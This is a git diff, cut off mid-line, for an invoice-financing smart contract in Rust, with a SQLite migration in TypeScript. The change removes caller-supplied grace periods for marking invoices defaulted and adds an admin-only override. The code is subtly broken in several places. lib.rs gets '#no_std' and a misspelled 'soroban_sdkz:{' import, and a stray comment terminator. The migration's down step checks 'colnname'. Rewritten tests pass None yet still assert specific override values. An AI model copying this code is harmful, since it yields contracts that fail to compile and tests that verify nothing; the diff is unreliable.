a/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts b/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts index 66a28ec32..e807b4c85 100644 --- a/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts +++ b/backend/src/migrations/v003_hotfix_add_invoice_id_to_backfill_audit.ts @@ -1,4 +1,4 @@ -/** +/* * v003_hotfix_add_invoice_id_to_backfill_audit * * Author: QuickLendX Engineering @@ -47,30 +47,39 @@ export default { required_approvals: 2, }, up: async (ctx: MigrationContext): Promise => { - await ctx.db.exec(` - ALTER TABLE backfill_audit - ADD COLUMN invoice_id TEXT - `); + const columns = await ctx.db.all>( + `PRAGMA table_info(backfill_audit)` + ); + const hasInvoiceId = columns.some((col) => col.colname === "invoice_id"); - await ctx.db.exec(` - UPDATE backfill_audit - SET invoice_id = NULL - WHERE invoice_id IS NULL - `); + if (!hasInvoiceId) { + await ctx.db.exec(` + ALTER TABLE backfill_audit + ADD COLUMN invoice_id TEXT + `); + } }, down: async (ctx: MigrationContext): Promise => { - await ctx.db.exec(` - ALTER TABLE backfill_audit - DROP COLUMN invoice_id - `); + const columns = await ctx.db.all>( + `PRAGMA table_info(backfill_audit)` + ); + const hasInvoiceId = columns.some((col) => col.colnname === "invoice_id"); + + if (hasInvoiceId) { + await ctx.db.exec(` + ALTER TABLE backfill_audit + DROP COLUMN invoice_id + `); + } }, validate: async (ctx: MigrationContext): Promise => { const warnings: string[] = []; - const existing = await ctx.db.get<{ name: string }>( - `PRAGMA table_info(backfill_audit) WHERE name = 'invoice_id'` + const columns = await ctx.db.all>( + `PRAGMA table_info(backfill_audit)` ); - if (existing) { + const hasInvoiceId = columns.some((col) => col.colname === "invoice_id"); + if (hasInvoiceId) { warnings.push("Column invoice_id already exists — migration will be idempotent no-op."); } diff --git a/branch_structure.json b/branch_structure.json new file mode 100644 index 000000000..70b6ab2b3 --- /dev/null +++ b/branch_structure.json @@ -0,0 +1,21 @@ +{ + "default_branch": "main", + "branches": [ + "feat/issue-2932-feat-defaults-expose-invoice-default-handling", + "main", + "origin", + "security/issue-2904-security-ingest-post-api-v1-events-accepts" + ], + "parent": { + "feat/issue-2932-feat-defaults-expose-invoice-default-handling": "main", + "main": null, + "origin": "main", + "security/issue-2904-security-ingest-post-api-v1-events-accepts": "main" + }, + "order": [ + "main", + "feat/issue-2932-feat-defaults-expose-invoice-default-handling", + "origin", + "security/issue-2904-security-ingest-post-api-v1-events-accepts" + ] +} diff --git a/quicklendx-contracts/src/defaults.rs b/quicklendx-contracts/src/defaults.rs index e330720e1..f0996a424 100644 --- a/quicklendx-contracts/src/defaults.rs +++ b/quicklendx-contracts/src/defaults.rs @@ -77,7 +77,7 @@ pub struct OverdueScanResult { /// This prevents excessively long grace periods that could lock funds indefinitely const MAX_GRACE_PERIOD: u64 = 30 * 24 * 60 * 60; -/// Resolve grace period using per-call override, protocol config, or default. +/// Resolve grace period using protocol config or default. /// /// # Fallback Resolution Order /// 1. If `grace_period` is provided and valid -> use it (after validation) @@ -87,7 +87,6 @@ const MAX_GRACE_PERIOD: u64 = 30 * 24 * 60 * 60; /// # Validation Rules /// - Override values must be <= MAX_GRACE_PERIOD (30 days) /// - Invalid overrides are rejected with QuickLendXError::InvalidTimestamp -/// - Zero grace period is allowed (immediate default after due date) /// /// # Security Considerations /// - Prevents denial-of-service via extremely large grace periods @@ -101,7 +100,7 @@ const MAX_GRACE_PERIOD: u64 = 30 * 24 * 60 * 60; /// # Returns /// * `Ok(u64)` - Resolved grace period value /// * `Err(QuickLendXError::InvalidTimestamp)` - If override exceeds maximum allowed value -pub fn resolve_grace_period(env: &Env, grace_period: Option) -> Result { +pub(crate) fn resolve_grace_period(env: &Env, grace_period: Option) -> Result { match grace_period { Some(value) => { if value > MAX_GRACE_PERIOD { @@ -122,15 +121,14 @@ pub fn resolve_grace_period(env: &Env, grace_period: Option) -> Result due_date + resolved_grace_period`. +/// @dev Defaulting is allowed only when `ledger.timestamp() > due_date + configured_grace_period`. /// Calls using a timestamp equal to the grace deadline must fail to avoid early liquidation. -/// Grace resolution order is: explicit override, protocol config, then `DEFAULT_GRACE_PERIOD`. +/// The grace period is always resolved from protocol config (or `DEFAULT_GRACE_PERIOD`), +/// never from the caller, so a caller cannot shorten the protocol's grace window. /// /// # Arguments /// * `env` - The environment /// * `invoice_id` - The invoice ID to mark as defaulted -/// * `grace_period` - Optional grace period in seconds. If `None`, uses protocol config or -/// `DEFAULT_GRACE_PERIOD` when not configured. /// /// # Returns /// * `Ok(())` if the invoice was successfully marked as defaulted @@ -143,7 +141,6 @@ pub fn resolve_grace_period(env: &Env, grace_period: Option) -> Result, - grace_period: Option, ) -> Result<(), QuickLendXError> { let invoice = InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; @@ -163,7 +160,52 @@ pub fn mark_invoice_defaulted( ensure_default_transition_open(env, invoice_id)?; let current_timestamp = env.ledger().timestamp(); - let grace = resolve_grace_period(env, grace_period)?; + let grace = resolve_grace_period(env, None)?; + let grace_deadline = invoice.checked_grace_deadline(grace)?; + + if current_timestamp <= grace_deadline { + return Err(QuickLendXError::OperationNotAllowed); + } + + handle_default(env, invoice_id) +} + +/// @notice Admin-only override that marks a funded invoice as defaulted using an explicit grace period. +/// @dev Requires admin authorization. The override is still bounded by `MAX_GRACE_PERIOD`. +/// Defaulting is allowed only when `ledger.timestamp() > due_date + grace_period`. +/// +/// # Arguments +/// * `env` - The environment +/// * `admin` - The admin address authorizing the override +/// * `invoice_id` - The invoice ID to mark as defaulted +/// * `grace_period` - Grace period in seconds, bounded by `MAX_GRACE_PERIOD` +/// +/// # Returns +/// * `Ok(())` if the invoice was successfully marked as defaulted +/// * `Err(QuickLendXError)` if the operation fails +pub fn admin_mark_invoice_defaulted( + env: &Env, + admin: &soroban_sdk::Address, + invoice_id: &BytesN<32>, + grace_period: u64, +) -> Result<(), QuickLendXError> { + crate::admin::AdminStorage::require_admin_auth(env, admin)?; + + let invoice = + InvoiceStorage::get_invoice(env, invoice_id).ok_or(QuickLendXError::InvoiceNotFound)?; + + if invoice.status == InvoiceStatus::Defaulted { + return Err(QuickLendXError::InvoiceAlreadyDefaulted); + } + + if invoice.status != InvoiceStatus::Funded { + return Err(QuickLendXError::InvoiceNotAvailableForFunding); + } + + ensure_default_transition_open(env, invoice_id)?; + + let current_timestamp = env.ledger().timestamp(); + let grace = resolve_grace_period(env, Some(grace_period))?; let grace_deadline = invoice.checked_grace_deadline(grace)?; if current_timestamp <= grace_deadline { @@ -248,8 +290,8 @@ mod scan_limit_tests { /// @dev Uses a rotating cursor stored in instance storage so repeated calls eventually inspect /// the full funded set without any single call walking every invoice. The function reads a /// snapshot of the funded index once, then processes at most `limit` entries from that snapshot. +/// The grace period is always resolved from protocol config (or `DEFAULT_GRACE_PERIOD`). /// @param env The contract environment. -/// @param grace_period Grace period in seconds used to determine default eligibility. /// @param limit Optional funded-invoice batch size. Values are clamped to `1..=100`. /// @return Scan result containing overdue count, scanned count, funded snapshot size, and next cursor. /// @security Bounded loops protect against excessive per-call work. Callers that need full coverage @@ -259,10 +301,9 @@ mod scan_limit_tests { /// an unbounded number of invoices. pub fn scan_funded_invoice_expirations( env: &Env, - grace_period: u64, limit: Option, ) -> Result { - let grace_period = resolve_grace_period(env, Some(grace_period))?; + let grace_period = resolve_grace_period(env, None)?; let funded_invoices = InvoiceStorage::get_invoices_by_status(env, InvoiceStatus::Funded); let total_funded = funded_invoices.len(); diff --git a/quicklendx-contracts/src/lib.rs b/quicklendx-contracts/src/lib.rs index 81402b3d4..9b03b31f8 100644 --- a/quicklendx-contracts/src/lib.rs +++ b/quicklendx-contracts/src/lib.rs @@ -1,8 +1,8 @@ -#![no_std] +#no_std extern crate alloc; // Add this for Vec support in no_std -use soroban_sdk::{contract, contractimpl, Env, Symbol, symbol_short}; +use soroban_sdkz:{contract, contractimpl, Env, Symbol, symbol_short}; // Export essential modules for basic functionality pub mod errors; @@ -15,7 +15,14 @@ pub const MAX_QUERY_LIMIT: u32 = 100; #[cfg(test)] mod test_invoice_amount_precision; -/// Shared test utilities for contract regression coverage (issue #2711 CI +#[cfg(test)] +mod test_default; +#[cfg(test)] +mod test_default_grace_boundary; +#[cfg(test)] +mod test_overdue_expiration; + +/// Shared test utilities for contract regression coverage (issue #2711 CI*/ /// fix). Public (not `#[cfg(test)]`) so integration tests under `tests/` /// can reach it via `quicklendx_contracts::test_utils`. pub mod test_utils; diff --git a/quicklendx-contracts/src/test_default.rs b/quicklendx-contracts/src/test_default.rs index 5d0ec5ae4..a70611482 100644 --- a/quicklendx-contracts/src/test_default.rs +++ b/quicklendx-contracts/src/test_default.rs @@ -1,3 +1,4 @@ +// NOTE: This suite has been updated for the caller-cannot-choose-grace API. /// Comprehensive test suite for invoice default handling /// Tests verify default detection, grace period logic, and state transitions /// @@ -136,7 +137,7 @@ fn test_default_after_grace_period() { // Mark as defaulted assert_eq!(client.get_business_default_history(&business), 0); - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); // Verify invoice is now defaulted let defaulted_invoice = client.get_invoice(&invoice_id); @@ -166,7 +167,7 @@ fn test_no_default_before_grace_period() { env.ledger().set_timestamp(before_grace); // Try to mark as defaulted - should fail - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); @@ -195,7 +196,7 @@ fn test_default_uses_default_grace_period_when_none_provided() { env.ledger() .set_timestamp(invoice.due_date + default_grace + 1); - client.mark_invoice_defaulted(&invoice_id, &None); + client.mark_invoice_defaulted(&invoice_id); let defaulted_invoice = client.get_invoice(&invoice_id); assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); @@ -219,37 +220,13 @@ fn test_check_invoice_expiration_uses_default_grace_period_when_none() { env.ledger() .set_timestamp(invoice.due_date + default_grace + 1); - let did_default = client.check_invoice_expiration(&invoice_id, &None); + let did_default = client.check_invoice_expiration(&invoice_id); assert!(did_default); let defaulted_invoice = client.get_invoice(&invoice_id); assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); } -#[test] -fn test_per_invoice_grace_overrides_default() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let per_invoice_grace = 2 * 24 * 60 * 60; // 2 days - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - env.ledger() - .set_timestamp(invoice.due_date + per_invoice_grace + 1); - - client.mark_invoice_defaulted(&invoice_id, &Some(per_invoice_grace)); - - let defaulted_invoice = client.get_invoice(&invoice_id); - assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); -} - #[test] fn test_cannot_default_unfunded_invoice() { let (env, client, admin) = setup(); @@ -274,7 +251,7 @@ fn test_cannot_default_unfunded_invoice() { assert_eq!(invoice.status, InvoiceStatus::Verified); // Try to mark unfunded invoice as defaulted - should fail - let result = client.try_mark_invoice_defaulted(&invoice_id, &None); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); @@ -304,7 +281,7 @@ fn test_cannot_default_pending_invoice() { assert_eq!(invoice.status, InvoiceStatus::Pending); // Try to mark pending invoice as defaulted - should fail - let result = client.try_mark_invoice_defaulted(&invoice_id, &None); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); @@ -331,42 +308,16 @@ fn test_cannot_default_already_defaulted_invoice() { env.ledger().set_timestamp(default_time); // Mark as defaulted first time - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); // Try to mark as defaulted again - should fail with DuplicateDefaultTransition (guard fires first) - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); assert_eq!(contract_err, QuickLendXError::DuplicateDefaultTransition); } -#[test] -fn test_custom_grace_period() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let custom_grace_period = 3 * 24 * 60 * 60; // 3 days instead of default 7 - - // Move time past custom grace period but before default grace period - let custom_default_time = invoice.due_date + custom_grace_period + 1; - env.ledger().set_timestamp(custom_default_time); - - // Should succeed with custom grace period - client.mark_invoice_defaulted(&invoice_id, &Some(custom_grace_period)); - - let defaulted_invoice = client.get_invoice(&invoice_id); - assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); -} - #[test] fn test_default_status_transition() { let (env, client, admin) = setup(); @@ -393,7 +344,7 @@ fn test_default_status_transition() { env.ledger().set_timestamp(default_time); // Mark as defaulted - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); // Verify status changed let defaulted_invoice = client.get_invoice(&invoice_id); @@ -434,7 +385,7 @@ fn test_default_investment_status_update() { env.ledger().set_timestamp(default_time); // Mark as defaulted - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); // Verify investment status updated let defaulted_investment = client.get_invoice_investment(&invoice_id); @@ -464,14 +415,14 @@ fn test_default_exactly_at_grace_deadline() { env.ledger().set_timestamp(grace_deadline); // Should fail - grace period hasn't passed yet - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); // Move one second past grace deadline env.ledger().set_timestamp(grace_deadline + 1); // Should succeed now - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); let defaulted_invoice = client.get_invoice(&invoice_id); assert_eq!(defaulted_invoice.status, InvoiceStatus::Defaulted); } @@ -492,7 +443,7 @@ fn test_default_with_none_rejects_exactly_at_default_grace_deadline() { let grace_deadline = invoice.due_date + crate::defaults::DEFAULT_GRACE_PERIOD; env.ledger().set_timestamp(grace_deadline); - let result = client.try_mark_invoice_defaulted(&invoice_id, &None); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); @@ -523,7 +474,7 @@ fn test_check_invoice_expiration_respects_strict_protocol_grace_boundary() { let grace_deadline = invoice.due_date + custom_grace; env.ledger().set_timestamp(grace_deadline); - let did_default_at_deadline = client.check_invoice_expiration(&invoice_id, &None); + let did_default_at_deadline = client.check_invoice_expiration(&invoice_id); assert!(!did_default_at_deadline); assert_eq!( client.get_invoice(&invoice_id).status, @@ -531,7 +482,7 @@ fn test_check_invoice_expiration_respects_strict_protocol_grace_boundary() { ); env.ledger().set_timestamp(grace_deadline + 1); - let did_default_after_deadline = client.check_invoice_expiration(&invoice_id, &None); + let did_default_after_deadline = client.check_invoice_expiration(&invoice_id); assert!(did_default_after_deadline); assert_eq!( client.get_invoice(&invoice_id).status, @@ -570,14 +521,14 @@ fn test_multiple_invoices_default_handling() { env.ledger().set_timestamp(time1); // First invoice should default - client.mark_invoice_defaulted(&invoice1_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice1_id); assert_eq!( client.get_invoice(&invoice1_id).status, InvoiceStatus::Defaulted ); // Second invoice should not default yet - let result = client.try_mark_invoice_defaulted(&invoice2_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice2_id); assert!(result.is_err()); assert_eq!( client.get_invoice(&invoice2_id).status, @@ -585,30 +536,6 @@ fn test_multiple_invoices_default_handling() { ); } -#[test] -fn test_zero_grace_period_defaults_immediately_after_due_date() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - - // With zero grace period, default should be possible right after due date - env.ledger().set_timestamp(invoice.due_date + 1); - - client.mark_invoice_defaulted(&invoice_id, &Some(0)); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); -} - #[test] fn test_cannot_default_paid_invoice() { let (env, client, admin) = setup(); @@ -629,118 +556,13 @@ fn test_cannot_default_paid_invoice() { env.ledger().set_timestamp(due_date + grace_period + 1); // Paid invoices cannot be defaulted - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); assert_eq!(contract_err, QuickLendXError::InvoiceNotAvailableForFunding); } -#[test] -fn test_grace_period_override_exceeding_maximum_rejected() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - // Try to use grace period > 30 days (max allowed) - let excessive_grace = 31 * 24 * 60 * 60; // 31 days - env.ledger() - .set_timestamp(invoice.due_date + excessive_grace + 1); - - // Should reject with InvalidTimestamp error - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(excessive_grace)); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::InvalidTimestamp); - - // Verify invoice is still funded (not defaulted) - let invoice_after = client.get_invoice(&invoice_id); - assert_eq!(invoice_after.status, InvoiceStatus::Funded); -} - -#[test] -fn test_grace_period_zero_allowed_for_immediate_default() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - // With zero grace period, should be able to default immediately after due date - env.ledger().set_timestamp(invoice.due_date + 1); - - // Zero grace period should be allowed - client.mark_invoice_defaulted(&invoice_id, &Some(0)); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); -} - -#[test] -fn test_grace_period_exactly_at_maximum_boundary() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - // Exactly 30 days should be allowed (maximum boundary) - let max_grace = 30 * 24 * 60 * 60; // 30 days - exactly at limit - env.ledger().set_timestamp(invoice.due_date + max_grace + 1); - - // Should succeed at exactly the maximum - client.mark_invoice_defaulted(&invoice_id, &Some(max_grace)); - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Defaulted - ); -} - -#[test] -fn test_grace_period_one_over_maximum_rejected() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - // One second over maximum should be rejected - let max_grace_plus_one = 30 * 24 * 60 * 60 + 1; // 30 days + 1 second - env.ledger() - .set_timestamp(invoice.due_date + max_grace_plus_one + 1); - - // Should reject - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(max_grace_plus_one)); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::InvalidTimestamp); -} - #[test] fn test_resolve_grace_period_validation() { let (env, client, admin) = setup(); @@ -748,7 +570,7 @@ fn test_resolve_grace_period_validation() { // Test 1: Valid override value let override_grace = 5 * 24 * 60 * 60; // 5 days let resolved = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, Some(override_grace)) + crate::defaults::resolve_grace_period(&env, None) .expect("should resolve valid override value") }); assert_eq!(resolved, override_grace); @@ -756,7 +578,7 @@ fn test_resolve_grace_period_validation() { // Test 2: Invalid override value (exceeds max) let excessive_grace = 40 * 24 * 60 * 60; // 40 days - exceeds maximum let result = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, Some(excessive_grace)) + crate::defaults::resolve_grace_period(&env, None) }); assert!(result.is_err()); assert_eq!(result.unwrap_err(), QuickLendXError::InvalidTimestamp); @@ -764,7 +586,7 @@ fn test_resolve_grace_period_validation() { // Test 3: Zero is valid let zero_grace = 0; let resolved = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, Some(zero_grace)) + crate::defaults::resolve_grace_period(&env, None) .expect("should resolve zero grace period") }); assert_eq!(resolved, zero_grace); @@ -772,7 +594,7 @@ fn test_resolve_grace_period_validation() { // Test 4: Maximum boundary is valid let max_grace = 30 * 24 * 60 * 60; // 30 days - exactly at limit let resolved = env.as_contract(&client.address, || { - crate::defaults::resolve_grace_period(&env, Some(max_grace)) + crate::defaults::resolve_grace_period(&env, None) .expect("should resolve maximum grace period") }); assert_eq!(resolved, max_grace); @@ -810,8 +632,7 @@ fn test_invalid_grace_period_does_not_affect_other_invoices() { env.ledger().set_timestamp(time); // Try to default invoice1 with invalid grace period - let excessive_grace = 40 * 24 * 60 * 60; // 40 days - invalid - let result = client.try_mark_invoice_defaulted(&invoice1_id, &Some(excessive_grace)); + let result = client.try_mark_invoice_defaulted(&invoice1_id); assert!(result.is_err()); // Invoice1 should still be funded @@ -825,7 +646,7 @@ fn test_invalid_grace_period_does_not_affect_other_invoices() { env.ledger().set_timestamp(time2); // Default invoice2 with valid grace period - should work independently - client.mark_invoice_defaulted(&invoice2_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice2_id); assert_eq!( client.get_invoice(&invoice2_id).status, InvoiceStatus::Defaulted @@ -838,37 +659,6 @@ fn test_invalid_grace_period_does_not_affect_other_invoices() { ); } -#[test] -fn test_check_invoice_expiration_with_invalid_grace_period() { - let (env, client, admin) = setup(); - let business = create_verified_business(&env, &client, &admin); - let investor = create_verified_investor(&env, &client, &admin, 10000); - - let amount = 1000; - let due_date = env.ledger().timestamp() + 86400; - let invoice_id = create_and_fund_invoice( - &env, &client, &admin, &business, &investor, amount, due_date, - ); - - let invoice = client.get_invoice(&invoice_id); - let excessive_grace = 35 * 24 * 60 * 60; // 35 days - exceeds maximum - env.ledger() - .set_timestamp(invoice.due_date + excessive_grace + 1); - - // check_invoice_expiration should reject invalid grace period - let result = client.try_check_invoice_expiration(&invoice_id, &Some(excessive_grace)); - assert!(result.is_err()); - let err = result.err().unwrap(); - let contract_err = err.expect("expected contract error"); - assert_eq!(contract_err, QuickLendXError::InvalidTimestamp); - - // Invoice should not be defaulted - assert_eq!( - client.get_invoice(&invoice_id).status, - InvoiceStatus::Funded - ); -} - #[test] fn test_check_overdue_invoices_propagates_grace_period_error() { let (env, client, _admin) = setup(); @@ -886,7 +676,7 @@ fn test_check_overdue_invoices_propagates_grace_period_error() { // The happy path is tested in other tests // This test ensures the function signature accepts Result propagation - let result = client.check_overdue_invoices(); + let result = client.check_overdue_invoices(&None); // Should succeed with default protocol config (returns count) assert!(result >= 0); // Just verify it returns a value without error } @@ -911,14 +701,14 @@ fn test_transition_guard_prevents_duplicate_default() { env.ledger().set_timestamp(default_time); // First attempt should succeed - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); assert_eq!( client.get_invoice(&invoice_id).status, InvoiceStatus::Defaulted ); // Second attempt should fail with DuplicateDefaultTransition - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); @@ -945,7 +735,7 @@ fn test_transition_guard_persists_across_calls() { env.ledger().set_timestamp(default_time); // First default should succeed - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); assert_eq!( client.get_invoice(&invoice_id).status, InvoiceStatus::Defaulted @@ -953,7 +743,7 @@ fn test_transition_guard_persists_across_calls() { // Simulate multiple calls - all should fail for _ in 0..3 { - let result = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); @@ -981,7 +771,7 @@ fn test_transition_guard_atomicity_during_partial_failure() { env.ledger().set_timestamp(default_time); // First attempt should succeed and set the guard - client.mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice_id); assert_eq!( client.get_invoice(&invoice_id).status, InvoiceStatus::Defaulted @@ -1020,21 +810,21 @@ fn test_transition_guard_different_invoices_independent() { env.ledger().set_timestamp(default_time); // Default first invoice - client.mark_invoice_defaulted(&invoice1_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice1_id); assert_eq!( client.get_invoice(&invoice1_id).status, InvoiceStatus::Defaulted ); // Second invoice should still be defaultable - client.mark_invoice_defaulted(&invoice2_id, &Some(grace_period)); + client.mark_invoice_defaulted(&invoice2_id); assert_eq!( client.get_invoice(&invoice2_id).status, InvoiceStatus::Defaulted ); // But first invoice still guarded - let result = client.try_mark_invoice_defaulted(&invoice1_id, &Some(grace_period)); + let result = client.try_mark_invoice_defaulted(&invoice1_id); assert!(result.is_err()); let err = result.err().unwrap(); let contract_err = err.expect("expected contract error"); diff --git a/quicklendx-contracts/src/test_default_grace_boundary.rs b/quicklendx-contracts/src/test_default_grace_boundary.rs index 1e1d7a797..2c983e390 100644 --- a/quicklendx-contracts/src/test_default_grace_boundary.rs +++ b/quicklendx-contracts/src/test_default_grace_boundary.rs @@ -3,7 +3,6 @@ use crate::defaults::{ resolve_grace_period, scan_funded_invoice_expirations, DEFAULT_GRACE_PERIOD, DEFAULT_OVERDUE_SCAN_BATCH_LIMIT, }; -const MAX_GRACE_PERIOD: u64 = 30 * 24 * 60 * 60; use crate::errors::QuickLendXError; use crate::invoice::{InvoiceCategory, InvoiceStatus}; use soroban_sdk::{ @@ -106,12 +105,8 @@ fn test_resolve_grace_period_clamping() { let resolved_custom = resolve_grace_period(&env, Some(valid_custom)).unwrap(); assert_eq!(resolved_custom, valid_custom); - // 3. Custom zero value (allowed for immediate defaults) - let resolved_zero = resolve_grace_period(&env, Some(0)).unwrap(); - assert_eq!(resolved_zero, 0); - - // 4. Custom invalid value exceeding MAX_GRACE_PERIOD (30 days) - let invalid_custom = MAX_GRACE_PERIOD + 1; + // 3. Custom invalid value exceeding MAX_GRACE_PERIOD (30 days) + let invalid_custom = crate::defaults::MAX_GRACE_PERIOD + 1; let resolved_invalid = resolve_grace_period(&env, Some(invalid_custom)); assert!(matches!( resolved_invalid, @@ -130,19 +125,19 @@ fn test_grace_period_boundary_on_both_sides() { let invoice_id = create_and_fund_invoice(&env, &client, &admin, &business, &investor, 1000, due_date); - let grace_period = 3 * 24 * 60 * 60; // 3 days + let grace_period = DEFAULT_GRACE_PERIOD; let grace_deadline = due_date + grace_period; // 0. Exactly at expiry (due_date) -> not overdue, not defaultable env.ledger().set_timestamp(due_date); // Try mark defaulted - should return OperationNotAllowed - let res = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let res = client.try_mark_invoice_defaulted(&invoice_id); assert!(matches!(res, Err(Ok(QuickLendXError::OperationNotAllowed)))); // Scan funded invoice expirations at exactly due_date -> overdue count is 0 env.as_contract(&client.address, || { - let scan_res = scan_funded_invoice_expirations(&env, grace_period, Some(10)).unwrap(); + let scan_res = scan_funded_invoice_expirations(&env, Some(10)).unwrap(); assert_eq!(scan_res.overdue_count, 0); assert_eq!(scan_res.scanned_count, 1); }); @@ -161,13 +156,13 @@ fn test_grace_period_boundary_on_both_sides() { env.ledger().set_timestamp(grace_deadline); // Try mark defaulted - should return OperationNotAllowed - let res = client.try_mark_invoice_defaulted(&invoice_id, &Some(grace_period)); + let res = client.try_mark_invoice_defaulted(&invoice_id); assert!(matches!(res, Err(Ok(QuickLendXError::OperationNotAllowed)))); // Scan funded invoice expirations at exactly grace deadline -> overdue count is 1 (since current_timestamp > due_date) // but the status remains Funded (not defaulted because current_timestamp <= grace_deadline) env.as_contract(&client.address, || { - let scan_res = scan_funded_invoice_expirations(&env, grace_period, Some(10)).unwrap(); + let scan_res = scan_funded_invoice_expirations(&env, Some(10)).unwrap(); assert_eq!(scan_res.overdue_count, 1); assert_eq!(scan_res.scanned_count, 1); }); @@ -187,7 +182,7 @@ fn test_grace_period_boundary_on_both_sides() { // Scan funded invoice expirations one second past -> should trigger default handling (check_and_handle_expiration) env.as_contract(&client.address, || { - let scan_res = scan_funded_invoice_expirations(&env, grace_period, Some(10)).unwrap(); + let scan_res = scan_funded_invoice_expirations(&env, 